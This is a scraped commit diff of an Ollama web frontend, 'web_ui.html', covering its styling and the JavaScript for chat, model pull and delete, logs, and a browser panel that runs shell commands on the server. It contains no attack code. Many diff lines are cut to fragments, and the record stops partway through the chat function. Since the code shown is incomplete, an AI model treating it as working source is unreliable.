Update web_ui.html
Browse files- web_ui.html +593 -731
web_ui.html
CHANGED
|
@@ -3,363 +3,355 @@
|
|
| 3 |
<head>
|
| 4 |
<meta charset="UTF-8"/>
|
| 5 |
<meta name="viewport" content="width=device-width,initial-scale=1"/>
|
| 6 |
-
<title>
|
| 7 |
-
<link href="https://fonts.googleapis.com/css2?family=Share+Tech+Mono&family=Bebas+Neue&family=
|
| 8 |
<style>
|
| 9 |
:root {
|
| 10 |
-
--bg: #
|
| 11 |
-
--panel: #
|
| 12 |
-
--border: #
|
| 13 |
-
--accent: #
|
| 14 |
-
--accent2: #
|
| 15 |
-
--accent3: #
|
| 16 |
-
--text: #
|
| 17 |
-
--dim: #
|
| 18 |
-
--
|
| 19 |
-
--
|
| 20 |
-
--warn: #e3b341;
|
| 21 |
-
--font-mono: 'Share Tech Mono', monospace;
|
| 22 |
-
--font-body: 'DM Mono', monospace;
|
| 23 |
--font-head: 'Bebas Neue', sans-serif;
|
| 24 |
}
|
| 25 |
*{box-sizing:border-box;margin:0;padding:0}
|
| 26 |
-
html,body{height:100%;background:var(--bg);color:var(--text);font-family:var(--font-
|
| 27 |
|
| 28 |
-
/*
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 29 |
body::after{
|
| 30 |
-
content:'';position:fixed;inset:0;pointer-events:none;z-index:
|
| 31 |
-
background:
|
| 32 |
}
|
| 33 |
|
| 34 |
-
/*
|
| 35 |
-
#app{display:grid;grid-template-rows:
|
| 36 |
|
| 37 |
-
/*
|
| 38 |
header{
|
| 39 |
-
display:flex;align-items:center;gap:
|
| 40 |
background:var(--panel);border-bottom:1px solid var(--border);
|
| 41 |
-
position:relative;
|
| 42 |
}
|
| 43 |
-
header::
|
| 44 |
content:'';position:absolute;bottom:0;left:0;right:0;height:1px;
|
| 45 |
-
background:linear-gradient(90deg,transparent,var(--accent),var(--accent2),transparent);
|
| 46 |
-
|
| 47 |
-
}
|
| 48 |
-
|
| 49 |
-
|
| 50 |
-
|
| 51 |
-
|
| 52 |
-
.
|
| 53 |
-
.
|
| 54 |
-
|
| 55 |
-
|
|
|
|
| 56 |
.spacer{flex:1}
|
| 57 |
-
|
| 58 |
-
|
| 59 |
-
|
| 60 |
-
.
|
| 61 |
-
|
| 62 |
-
background:#111;border:1px solid var(--border);color:var(--accent);
|
| 63 |
-
font-family:var(--font-mono);font-size:12px;padding:4px 8px;border-radius:3px;
|
| 64 |
-
outline:none;cursor:pointer;
|
| 65 |
}
|
| 66 |
-
#
|
|
|
|
| 67 |
|
| 68 |
-
/*
|
| 69 |
-
#
|
| 70 |
.tab-nav{
|
| 71 |
-
display:flex;flex-direction:column;width:
|
| 72 |
-
border-right:1px solid var(--border);padding:
|
| 73 |
}
|
| 74 |
-
.
|
| 75 |
display:flex;flex-direction:column;align-items:center;justify-content:center;
|
| 76 |
-
gap:
|
| 77 |
-
color:var(--dim);font-size:
|
| 78 |
-
border-left:2px solid transparent;transition:all .
|
| 79 |
}
|
| 80 |
-
.
|
| 81 |
-
.
|
| 82 |
-
.
|
| 83 |
-
.tab-btn.active svg{filter:drop-shadow(0 0 4px var(--accent))}
|
| 84 |
|
| 85 |
.panels{flex:1;overflow:hidden;position:relative}
|
| 86 |
.panel{position:absolute;inset:0;display:none;flex-direction:column}
|
| 87 |
.panel.active{display:flex}
|
| 88 |
|
| 89 |
-
/*
|
| 90 |
-
.
|
| 91 |
-
padding:
|
| 92 |
-
display:flex;align-items:center;gap:10px;flex-shrink:0;
|
| 93 |
}
|
| 94 |
-
.
|
| 95 |
-
.
|
| 96 |
.badge{
|
| 97 |
-
font-size:
|
| 98 |
-
background:rgba(0,
|
| 99 |
}
|
|
|
|
| 100 |
|
| 101 |
-
/* ββ CHAT
|
| 102 |
-
#chat-
|
| 103 |
-
|
| 104 |
-
flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;
|
| 105 |
-
scroll-behavior:smooth;
|
| 106 |
}
|
| 107 |
-
#chat-
|
| 108 |
-
#chat-
|
| 109 |
|
| 110 |
-
.msg{display:flex;gap:
|
| 111 |
-
@keyframes
|
| 112 |
.msg.user{align-self:flex-end;flex-direction:row-reverse}
|
| 113 |
-
.
|
| 114 |
-
width:
|
| 115 |
-
justify-content:center;font-size:
|
| 116 |
-
|
| 117 |
-
|
| 118 |
-
.msg.
|
| 119 |
-
.msg
|
| 120 |
-
|
| 121 |
-
|
| 122 |
-
|
| 123 |
-
|
| 124 |
-
.msg.
|
| 125 |
-
.msg.ai .
|
| 126 |
-
|
| 127 |
-
}
|
| 128 |
@keyframes blink{0%,100%{opacity:1}50%{opacity:0}}
|
| 129 |
-
.
|
| 130 |
|
| 131 |
.chat-empty{
|
| 132 |
-
flex:1;display:flex;flex-direction:column;align-items:center;justify-content:center;
|
| 133 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 134 |
}
|
| 135 |
-
.chat-empty .
|
| 136 |
|
| 137 |
-
#chat-
|
| 138 |
-
padding:
|
| 139 |
display:flex;gap:8px;align-items:flex-end;background:var(--panel);
|
| 140 |
}
|
| 141 |
-
#chat-
|
| 142 |
-
flex:1;background:#
|
| 143 |
-
font-family:var(--font-
|
| 144 |
-
outline:none;resize:none;max-height:120px;min-height:
|
| 145 |
-
transition:border-color .
|
| 146 |
}
|
| 147 |
-
#chat-
|
| 148 |
-
#chat-
|
| 149 |
.send-btn{
|
| 150 |
-
background:var(--accent);color:#000;border:none;padding:
|
| 151 |
-
border-radius:
|
| 152 |
-
letter-spacing:
|
| 153 |
-
display:flex;align-items:center;gap:6px;
|
| 154 |
}
|
| 155 |
-
.send-btn:hover{
|
| 156 |
.send-btn:disabled{background:var(--border);color:var(--dim);cursor:not-allowed;box-shadow:none}
|
| 157 |
-
.send-btn svg{width:
|
| 158 |
|
| 159 |
-
/* ββ SHELL
|
| 160 |
-
#shell-panel{background:#
|
| 161 |
-
.shell-
|
| 162 |
-
|
| 163 |
-
|
| 164 |
-
}
|
| 165 |
-
.shell-input-wrap{
|
| 166 |
-
flex:1;display:flex;align-items:center;gap:8px;
|
| 167 |
-
background:#070c10;border:1px solid var(--border);border-radius:3px;padding:0 10px;
|
| 168 |
-
}
|
| 169 |
-
.shell-prompt{color:var(--accent3);font-family:var(--font-mono);font-size:13px;user-select:none}
|
| 170 |
-
#shell-input{
|
| 171 |
-
flex:1;background:transparent;border:none;outline:none;
|
| 172 |
-
color:#e0ffe0;font-family:var(--font-mono);font-size:13px;padding:8px 0;
|
| 173 |
-
}
|
| 174 |
-
#shell-input::placeholder{color:#1e3a1e}
|
| 175 |
-
.run-btn,.kill-btn{
|
| 176 |
-
border:none;padding:7px 14px;border-radius:3px;cursor:pointer;
|
| 177 |
-
font-family:var(--font-head);font-size:13px;letter-spacing:1px;
|
| 178 |
-
transition:all .2s;white-space:nowrap;
|
| 179 |
-
}
|
| 180 |
-
.run-btn{background:var(--accent3);color:#000}
|
| 181 |
-
.run-btn:hover{box-shadow:0 0 12px rgba(57,255,20,.4)}
|
| 182 |
-
.run-btn:disabled{background:#1a2e1a;color:#2a4a2a;cursor:not-allowed}
|
| 183 |
-
.kill-btn{background:var(--danger);color:#fff;display:none}
|
| 184 |
-
.kill-btn:hover{box-shadow:0 0 12px rgba(248,81,73,.4)}
|
| 185 |
-
.kill-btn.visible{display:block}
|
| 186 |
-
|
| 187 |
-
#shell-output{
|
| 188 |
-
flex:1;overflow-y:auto;padding:14px 16px;
|
| 189 |
-
font-family:var(--font-mono);font-size:12.5px;line-height:1.7;
|
| 190 |
-
color:#b0ffb0;word-break:break-all;
|
| 191 |
-
}
|
| 192 |
-
#shell-output::-webkit-scrollbar{width:4px}
|
| 193 |
-
#shell-output::-webkit-scrollbar-thumb{background:var(--border)}
|
| 194 |
-
.shell-line{}
|
| 195 |
-
.shell-cmd-echo{color:var(--accent);margin:6px 0 2px}
|
| 196 |
-
.shell-exit-ok{color:var(--accent3);font-size:11px;margin-top:4px}
|
| 197 |
-
.shell-exit-err{color:var(--danger);font-size:11px;margin-top:4px}
|
| 198 |
-
.shell-empty-msg{color:#1e3a1e;text-align:center;margin-top:60px;font-size:13px}
|
| 199 |
-
|
| 200 |
-
/* shell quick cmds */
|
| 201 |
-
.quick-cmds{
|
| 202 |
-
display:flex;gap:6px;padding:6px 16px;border-bottom:1px solid var(--border);
|
| 203 |
-
flex-wrap:wrap;flex-shrink:0;background:#07090c;
|
| 204 |
}
|
| 205 |
-
.
|
| 206 |
-
|
| 207 |
-
background:rgba(57,255,20,.06);border:1px solid rgba(57,255,20,.2);
|
| 208 |
-
color:rgba(57,255,20,.7);border-radius:2px;cursor:pointer;
|
| 209 |
-
transition:all .15s;white-space:nowrap;
|
| 210 |
-
}
|
| 211 |
-
.qcmd:hover{background:rgba(57,255,20,.15);color:var(--accent3)}
|
| 212 |
-
.cat-tab{
|
| 213 |
background:transparent;border:none;border-bottom:2px solid transparent;
|
| 214 |
-
color:var(--dim);font-family:var(--font-mono);font-size:
|
| 215 |
-
padding:
|
| 216 |
-
letter-spacing:.5px;
|
| 217 |
}
|
| 218 |
-
.cat-
|
| 219 |
-
.cat-
|
| 220 |
|
| 221 |
-
|
| 222 |
-
|
| 223 |
-
|
| 224 |
-
.models-actions{display:flex;gap:8px;flex-wrap:wrap}
|
| 225 |
-
.pull-wrap{display:flex;gap:8px;flex:1;min-width:200px}
|
| 226 |
-
#pull-input{
|
| 227 |
-
flex:1;background:#0a0f15;border:1px solid var(--border);color:var(--text);
|
| 228 |
-
font-family:var(--font-mono);font-size:12px;padding:8px 12px;border-radius:3px;outline:none;
|
| 229 |
-
}
|
| 230 |
-
#pull-input:focus{border-color:rgba(0,229,255,.4)}
|
| 231 |
-
#pull-input::placeholder{color:var(--dim)}
|
| 232 |
-
.action-btn{
|
| 233 |
-
border:none;padding:8px 16px;border-radius:3px;cursor:pointer;
|
| 234 |
-
font-family:var(--font-head);font-size:13px;letter-spacing:1px;transition:all .2s;
|
| 235 |
}
|
| 236 |
-
.
|
| 237 |
-
|
| 238 |
-
|
| 239 |
-
.
|
| 240 |
-
|
| 241 |
-
.model-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(280px,1fr));gap:10px}
|
| 242 |
-
.model-card{
|
| 243 |
-
background:var(--panel);border:1px solid var(--border);border-radius:5px;
|
| 244 |
-
padding:14px;transition:border-color .2s;cursor:pointer;
|
| 245 |
-
}
|
| 246 |
-
.model-card:hover{border-color:rgba(0,229,255,.3)}
|
| 247 |
-
.model-card.active-model{border-color:var(--accent);background:rgba(0,229,255,.04)}
|
| 248 |
-
.model-name{font-family:var(--font-mono);font-size:13px;color:var(--accent);margin-bottom:4px}
|
| 249 |
-
.model-meta{font-size:11px;color:var(--dim);display:flex;gap:12px;flex-wrap:wrap}
|
| 250 |
-
.model-meta span{display:flex;align-items:center;gap:4px}
|
| 251 |
-
.model-actions{margin-top:10px;display:flex;gap:6px}
|
| 252 |
-
.m-btn{
|
| 253 |
-
font-size:10px;padding:4px 10px;border-radius:2px;border:none;cursor:pointer;
|
| 254 |
-
font-family:var(--font-head);letter-spacing:1px;transition:all .15s;
|
| 255 |
}
|
| 256 |
-
.
|
| 257 |
-
|
| 258 |
-
.
|
| 259 |
-
|
| 260 |
-
|
| 261 |
-
.pull-progress{
|
| 262 |
-
background:var(--panel);border:1px solid var(--border);border-radius:5px;padding:14px;
|
| 263 |
-
display:none;
|
| 264 |
}
|
| 265 |
-
.
|
| 266 |
-
|
| 267 |
-
|
| 268 |
-
.progress-bar{height:100%;background:linear-gradient(90deg,var(--accent),var(--accent2));
|
| 269 |
-
width:0%;transition:width .3s;border-radius:2px}
|
| 270 |
-
.progress-status{font-size:11px;color:var(--accent);margin-top:6px;font-family:var(--font-mono)}
|
| 271 |
-
|
| 272 |
-
/* no models */
|
| 273 |
-
.no-models{text-align:center;padding:40px;color:var(--dim)}
|
| 274 |
-
.no-models .icon{font-size:48px;margin-bottom:12px;opacity:.3}
|
| 275 |
-
|
| 276 |
-
/* ββ LOGS PANEL ββ */
|
| 277 |
-
#logs-panel{background:#060809}
|
| 278 |
-
#log-output{
|
| 279 |
-
flex:1;overflow-y:auto;padding:14px 16px;
|
| 280 |
-
font-family:var(--font-mono);font-size:11.5px;line-height:1.8;color:#7a8a7a;
|
| 281 |
}
|
| 282 |
-
.
|
| 283 |
-
|
| 284 |
-
|
| 285 |
-
|
| 286 |
-
.log-line.success{color:var(--accent3)}
|
| 287 |
-
.log-ts{color:var(--dim);margin-right:8px;user-select:none}
|
| 288 |
-
.logs-toolbar{padding:8px 16px;border-bottom:1px solid var(--border);background:var(--panel);flex-shrink:0;display:flex;gap:8px}
|
| 289 |
-
|
| 290 |
-
/* ββ TOAST ββ */
|
| 291 |
-
#toast{
|
| 292 |
-
position:fixed;bottom:20px;right:20px;z-index:10000;
|
| 293 |
-
display:flex;flex-direction:column;gap:8px;pointer-events:none;
|
| 294 |
}
|
| 295 |
-
|
| 296 |
-
|
| 297 |
-
|
| 298 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 299 |
}
|
| 300 |
-
.
|
| 301 |
-
.
|
| 302 |
-
|
| 303 |
-
|
| 304 |
-
|
| 305 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 306 |
*::-webkit-scrollbar-track{background:transparent}
|
| 307 |
-
*::-webkit-scrollbar-thumb{background:var(--border);border-radius:
|
| 308 |
</style>
|
| 309 |
</head>
|
| 310 |
<body>
|
| 311 |
<div id="app">
|
| 312 |
<!-- HEADER -->
|
| 313 |
<header>
|
| 314 |
-
<div class="logo">
|
| 315 |
-
<div class="
|
| 316 |
-
<div class="status-
|
| 317 |
<div class="spacer"></div>
|
| 318 |
-
<div class="model-
|
| 319 |
<label>MODEL</label>
|
| 320 |
-
<select id="
|
| 321 |
</div>
|
| 322 |
</header>
|
| 323 |
|
| 324 |
-
<
|
| 325 |
-
<div id="tabs">
|
| 326 |
<!-- TAB NAV -->
|
| 327 |
<nav class="tab-nav">
|
| 328 |
-
<button class="
|
| 329 |
<svg viewBox="0 0 24 24"><path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"/></svg>
|
| 330 |
CHAT
|
| 331 |
</button>
|
| 332 |
-
<button class="
|
| 333 |
<svg viewBox="0 0 24 24"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
|
| 334 |
SHELL
|
| 335 |
</button>
|
| 336 |
-
<button class="
|
| 337 |
<svg viewBox="0 0 24 24"><rect x="2" y="3" width="20" height="14" rx="2"/><line x1="8" y1="21" x2="16" y2="21"/><line x1="12" y1="17" x2="12" y2="21"/></svg>
|
| 338 |
MODELS
|
| 339 |
</button>
|
| 340 |
-
<button class="
|
| 341 |
-
<svg viewBox="0 0 24 24"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/><line x1="16" y1="13" x2="8" y2="13"/><line x1="16" y1="17" x2="8" y2="17"/><
|
| 342 |
LOGS
|
| 343 |
</button>
|
| 344 |
</nav>
|
| 345 |
|
| 346 |
<div class="panels">
|
|
|
|
| 347 |
<!-- ββ CHAT ββ -->
|
| 348 |
<div class="panel active" id="chat-panel">
|
| 349 |
-
<div class="
|
| 350 |
-
<div class="
|
| 351 |
-
<div class="badge" id="chat-
|
| 352 |
<div style="flex:1"></div>
|
| 353 |
-
<button class="
|
| 354 |
</div>
|
| 355 |
-
<div id="chat-
|
| 356 |
<div class="chat-empty" id="chat-empty">
|
| 357 |
-
<div class="big">
|
| 358 |
-
<div
|
| 359 |
</div>
|
| 360 |
</div>
|
| 361 |
-
<div id="chat-
|
| 362 |
-
<textarea id="chat-
|
| 363 |
<button class="send-btn" id="send-btn" onclick="sendChat()">
|
| 364 |
<svg viewBox="0 0 24 24"><line x1="22" y1="2" x2="11" y2="13"/><polygon points="22 2 15 22 11 13 2 9 22 2"/></svg>
|
| 365 |
SEND
|
|
@@ -369,152 +361,117 @@ header::before{
|
|
| 369 |
|
| 370 |
<!-- ββ SHELL ββ -->
|
| 371 |
<div class="panel" id="shell-panel">
|
| 372 |
-
<div class="
|
| 373 |
-
<div class="
|
| 374 |
-
<div class="badge">LIVE
|
| 375 |
</div>
|
| 376 |
-
<
|
| 377 |
-
|
| 378 |
-
<button class="cat-
|
| 379 |
-
<button class="cat-
|
| 380 |
-
<button class="cat-
|
| 381 |
-
<button class="cat-
|
| 382 |
-
<button class="cat-
|
| 383 |
-
<button class="cat-
|
| 384 |
-
<button class="cat-
|
| 385 |
-
<button class="cat-tab" onclick="switchCat(this,'ollama')">π¦ OLLAMA</button>
|
| 386 |
</div>
|
| 387 |
-
<div class="
|
| 388 |
-
<div class="shell-
|
| 389 |
-
<div class="shell-
|
| 390 |
-
<span class="
|
| 391 |
-
<input id="shell-
|
| 392 |
</div>
|
| 393 |
<button class="run-btn" id="run-btn" onclick="runShell()">βΆ RUN</button>
|
| 394 |
<button class="kill-btn" id="kill-btn" onclick="killShell()">β KILL</button>
|
| 395 |
-
<button class="
|
| 396 |
-
</div>
|
| 397 |
-
<div id="shell-output">
|
| 398 |
-
<div class="shell-empty-msg">// awaiting command input</div>
|
| 399 |
</div>
|
|
|
|
| 400 |
</div>
|
| 401 |
|
| 402 |
<!-- ββ MODELS ββ -->
|
| 403 |
<div class="panel" id="models-panel">
|
| 404 |
-
<div class="
|
| 405 |
-
<div class="
|
| 406 |
-
<button class="
|
| 407 |
</div>
|
| 408 |
-
<div class="models-
|
| 409 |
-
<
|
| 410 |
-
|
| 411 |
-
<div
|
| 412 |
-
|
| 413 |
-
<
|
| 414 |
-
<input id="pull-input" type="text" placeholder="e.g. llama3.2, phi3, mistral, gemma2:2b"/>
|
| 415 |
-
<button class="action-btn primary" onclick="pullModel()">β¬ PULL</button>
|
| 416 |
-
</div>
|
| 417 |
</div>
|
| 418 |
-
<div
|
| 419 |
-
<span class="
|
| 420 |
-
<span class="
|
| 421 |
-
<span class="
|
| 422 |
-
<span class="
|
| 423 |
-
<span class="
|
| 424 |
-
<span class="
|
| 425 |
-
<span class="
|
| 426 |
</div>
|
| 427 |
</div>
|
| 428 |
-
|
| 429 |
-
|
| 430 |
-
|
| 431 |
-
<div class="
|
| 432 |
-
<div class="progress-bar-wrap"><div class="progress-bar" id="pull-bar"></div></div>
|
| 433 |
-
<div class="progress-status" id="pull-status">Initializing...</div>
|
| 434 |
-
</div>
|
| 435 |
-
|
| 436 |
-
<!-- Model list -->
|
| 437 |
-
<div class="model-grid" id="model-grid">
|
| 438 |
-
<div class="no-models">
|
| 439 |
-
<div class="icon">π¦</div>
|
| 440 |
-
<div style="font-size:12px;letter-spacing:1px">Loading models...</div>
|
| 441 |
-
</div>
|
| 442 |
</div>
|
|
|
|
| 443 |
</div>
|
| 444 |
</div>
|
| 445 |
|
| 446 |
<!-- ββ LOGS ββ -->
|
| 447 |
<div class="panel" id="logs-panel">
|
| 448 |
-
<div class="
|
| 449 |
-
<div class="
|
| 450 |
-
<button class="
|
| 451 |
</div>
|
| 452 |
-
<div id="log-
|
| 453 |
-
<div class="
|
| 454 |
</div>
|
| 455 |
</div>
|
| 456 |
-
</div>
|
| 457 |
-
</div>
|
| 458 |
-
</div>
|
| 459 |
|
| 460 |
-
<!--
|
|
|
|
|
|
|
|
|
|
| 461 |
<div id="toast"></div>
|
| 462 |
|
| 463 |
<script>
|
| 464 |
-
|
| 465 |
-
// CONFIG β auto-detect base URL
|
| 466 |
-
// βββββββββββββββββββββββββββββββββββββββββββββ
|
| 467 |
-
const BASE = window.location.origin; // same origin as /web
|
| 468 |
-
|
| 469 |
-
// βββββββββββββββββββββββββββββββββββββββββββββ
|
| 470 |
-
// STATE
|
| 471 |
-
// βββββββββββββββββββββββββββββββββββββββββββββ
|
| 472 |
let currentModel = '';
|
| 473 |
-
let
|
| 474 |
-
let shellController = null;
|
| 475 |
let shellRunning = false;
|
| 476 |
-
let
|
| 477 |
-
let
|
| 478 |
-
|
| 479 |
-
// βββββββββββββββββββββββββββββββββββββββββββββ
|
| 480 |
-
|
| 481 |
-
|
| 482 |
-
|
| 483 |
-
const
|
| 484 |
-
|
| 485 |
-
|
| 486 |
-
|
| 487 |
-
|
| 488 |
-
|
| 489 |
-
|
| 490 |
-
|
| 491 |
-
|
| 492 |
-
|
| 493 |
-
|
| 494 |
-
|
| 495 |
-
|
| 496 |
-
|
| 497 |
-
|
| 498 |
-
|
| 499 |
-
}
|
| 500 |
-
|
| 501 |
-
|
| 502 |
-
|
| 503 |
-
function fmt(bytes) {
|
| 504 |
-
if (!bytes) return '';
|
| 505 |
-
const gb = bytes/1e9;
|
| 506 |
-
return gb >= 1 ? gb.toFixed(1)+'GB' : (bytes/1e6).toFixed(0)+'MB';
|
| 507 |
-
}
|
| 508 |
-
|
| 509 |
-
function now(){return new Date().toLocaleTimeString('en',{hour12:false,hour:'2-digit',minute:'2-digit'})}
|
| 510 |
-
|
| 511 |
-
// βββββββββββββββββββββββββββββββββββββββββββββ
|
| 512 |
-
// TABS
|
| 513 |
-
// βββββββββββββββββββββββββββββββββββββββββββββ
|
| 514 |
-
document.querySelectorAll('.tab-btn').forEach(btn=>{
|
| 515 |
btn.addEventListener('click',()=>{
|
| 516 |
-
const tab
|
| 517 |
-
document.querySelectorAll('.
|
| 518 |
document.querySelectorAll('.panel').forEach(p=>p.classList.remove('active'));
|
| 519 |
btn.classList.add('active');
|
| 520 |
document.getElementById(tab+'-panel').classList.add('active');
|
|
@@ -522,505 +479,410 @@ document.querySelectorAll('.tab-btn').forEach(btn=>{
|
|
| 522 |
});
|
| 523 |
});
|
| 524 |
|
| 525 |
-
// βββββββββββββββββββββββββββββββββββββββββββββ
|
| 526 |
-
|
| 527 |
-
|
| 528 |
-
|
| 529 |
-
try {
|
| 530 |
-
const r = await fetch(`${BASE}/api/tags`,{signal:AbortSignal.timeout(4000)});
|
| 531 |
if(r.ok){
|
| 532 |
-
document.getElementById('
|
| 533 |
-
document.getElementById('
|
| 534 |
-
|
| 535 |
-
await loadModels(true); // silent load
|
| 536 |
}
|
| 537 |
-
}
|
| 538 |
-
document.getElementById('
|
| 539 |
-
document.getElementById('
|
| 540 |
log('Server unreachable: '+e.message,'error');
|
| 541 |
}
|
| 542 |
}
|
| 543 |
|
| 544 |
-
// βββββββββββββββββββββββββββββββββββββββββββββ
|
| 545 |
-
|
| 546 |
-
|
| 547 |
-
|
| 548 |
-
|
| 549 |
-
const
|
| 550 |
-
|
| 551 |
-
|
| 552 |
-
|
| 553 |
-
|
| 554 |
-
|
| 555 |
-
const prev = sel.value;
|
| 556 |
-
sel.innerHTML = '<option value="">β select β</option>';
|
| 557 |
models.forEach(m=>{
|
| 558 |
-
const o
|
| 559 |
-
o.value
|
| 560 |
sel.appendChild(o);
|
| 561 |
});
|
| 562 |
-
if(prev) sel.value
|
| 563 |
|
| 564 |
-
// Update
|
| 565 |
-
const grid
|
| 566 |
if(!models.length){
|
| 567 |
-
grid.innerHTML='<div class="no-
|
| 568 |
return;
|
| 569 |
}
|
| 570 |
-
grid.innerHTML
|
| 571 |
-
<div class="
|
| 572 |
-
<div class="
|
| 573 |
-
<div class="
|
| 574 |
<span>πΎ ${fmt(m.size)}</span>
|
| 575 |
${m.details?.parameter_size?`<span>π’ ${m.details.parameter_size}</span>`:''}
|
| 576 |
${m.details?.quantization_level?`<span>β‘ ${m.details.quantization_level}</span>`:''}
|
| 577 |
</div>
|
| 578 |
-
<div class="
|
| 579 |
-
<button class="
|
| 580 |
-
<button class="
|
| 581 |
</div>
|
| 582 |
</div>`).join('');
|
| 583 |
-
|
| 584 |
-
|
| 585 |
-
|
| 586 |
-
if(!silent) log('Failed to load models: '+e.message,'error');
|
| 587 |
}
|
| 588 |
}
|
| 589 |
|
| 590 |
function selectModel(name){
|
| 591 |
-
currentModel
|
| 592 |
-
document.getElementById('
|
| 593 |
-
document.getElementById('chat-
|
| 594 |
-
toast('
|
| 595 |
-
log('
|
| 596 |
loadModels(true);
|
| 597 |
}
|
| 598 |
|
| 599 |
-
document.getElementById('
|
| 600 |
if(this.value) selectModel(this.value);
|
| 601 |
});
|
| 602 |
|
| 603 |
async function deleteModel(name){
|
| 604 |
-
if(!confirm(`Delete
|
| 605 |
-
try
|
| 606 |
await fetch(`${BASE}/api/delete`,{method:'DELETE',headers:{'Content-Type':'application/json'},body:JSON.stringify({name})});
|
| 607 |
toast('Deleted: '+name,'error');
|
| 608 |
-
log('Deleted
|
| 609 |
loadModels();
|
| 610 |
-
if(currentModel===name){currentModel='';document.getElementById('
|
| 611 |
-
}
|
| 612 |
-
toast('Delete failed','error');log('Delete error: '+e.message,'error');
|
| 613 |
-
}
|
| 614 |
}
|
| 615 |
|
|
|
|
|
|
|
| 616 |
async function pullModel(){
|
| 617 |
-
const name
|
| 618 |
-
if(!name){toast('Enter
|
| 619 |
-
|
| 620 |
-
const
|
| 621 |
-
const
|
| 622 |
-
const
|
| 623 |
-
|
| 624 |
-
|
| 625 |
-
|
| 626 |
-
|
| 627 |
-
|
| 628 |
-
|
| 629 |
-
try {
|
| 630 |
-
const r = await fetch(`${BASE}/api/pull`,{
|
| 631 |
method:'POST',headers:{'Content-Type':'application/json'},
|
| 632 |
body:JSON.stringify({name})
|
| 633 |
});
|
| 634 |
-
const reader
|
| 635 |
-
const dec
|
| 636 |
let buf='';
|
| 637 |
while(true){
|
| 638 |
const {done,value}=await reader.read();
|
| 639 |
if(done) break;
|
| 640 |
buf+=dec.decode(value,{stream:true});
|
| 641 |
-
const lines=buf.split('\n');
|
| 642 |
for(const line of lines){
|
| 643 |
if(!line.trim()) continue;
|
| 644 |
try{
|
| 645 |
const d=JSON.parse(line);
|
| 646 |
-
|
| 647 |
-
if(d.total&&d.completed)
|
| 648 |
-
const pct=Math.round(d.completed/d.total*100);
|
| 649 |
-
bar.style.width=pct+'%';
|
| 650 |
-
}
|
| 651 |
}catch(e){}
|
| 652 |
}
|
| 653 |
}
|
| 654 |
-
|
| 655 |
-
|
| 656 |
-
|
| 657 |
-
|
| 658 |
-
document.getElementById('pull-input').value='';
|
| 659 |
loadModels();
|
| 660 |
-
}
|
| 661 |
-
|
| 662 |
-
toast('Pull failed','error');
|
| 663 |
}
|
| 664 |
}
|
| 665 |
|
| 666 |
-
|
| 667 |
-
document.getElementById('pull-input').addEventListener('keydown',e=>{if(e.key==='Enter')pullModel()});
|
| 668 |
|
| 669 |
-
// βββββββββββββββββββββββββββββββββββββββββββββ
|
| 670 |
-
// CHAT
|
| 671 |
-
// βββββββββββββββββββββββββββββββββββββββββββββ
|
| 672 |
function clearChat(){
|
| 673 |
-
|
| 674 |
-
|
| 675 |
-
msgs.innerHTML='<div class="chat-empty" id="chat-empty"><div class="big">OLLAMA</div><div style="font-size:12px;color:var(--dim);letter-spacing:2px">SELECT A MODEL AND START CHATTING</div></div>';
|
| 676 |
log('Chat cleared');
|
| 677 |
}
|
| 678 |
|
| 679 |
-
function
|
| 680 |
const empty=document.getElementById('chat-empty');
|
| 681 |
if(empty) empty.remove();
|
| 682 |
-
const msgs=document.getElementById('chat-
|
| 683 |
const wrap=document.createElement('div');
|
| 684 |
-
wrap.className=
|
| 685 |
const av=document.createElement('div');
|
| 686 |
-
av.className='
|
| 687 |
av.textContent=role==='user'?'YOU':'AI';
|
| 688 |
const bub=document.createElement('div');
|
| 689 |
-
bub.className=
|
| 690 |
bub.textContent=text;
|
| 691 |
-
const
|
| 692 |
-
|
| 693 |
const inner=document.createElement('div');
|
| 694 |
-
inner.appendChild(bub);
|
| 695 |
-
wrap.appendChild(av);
|
| 696 |
msgs.appendChild(wrap);
|
| 697 |
msgs.scrollTop=msgs.scrollHeight;
|
| 698 |
return bub;
|
| 699 |
}
|
| 700 |
|
| 701 |
async function sendChat(){
|
| 702 |
-
const input=document.getElementById('chat-
|
| 703 |
const text=input.value.trim();
|
| 704 |
if(!text) return;
|
| 705 |
if(!currentModel){toast('Select a model first','error');return;}
|
| 706 |
|
| 707 |
-
input.value='';
|
| 708 |
document.getElementById('send-btn').disabled=true;
|
| 709 |
-
log(`Chat β ${currentModel}: "${text.slice(0,
|
| 710 |
|
| 711 |
-
|
| 712 |
-
|
|
|
|
| 713 |
|
| 714 |
-
|
| 715 |
-
|
| 716 |
-
|
| 717 |
-
try {
|
| 718 |
const r=await fetch(`${BASE}/api/chat`,{
|
| 719 |
-
method:'POST',
|
| 720 |
-
|
|
|
|
| 721 |
});
|
|
|
|
|
|
|
|
|
|
| 722 |
const reader=r.body.getReader();
|
| 723 |
const dec=new TextDecoder();
|
| 724 |
-
|
| 725 |
while(true){
|
| 726 |
const {done,value}=await reader.read();
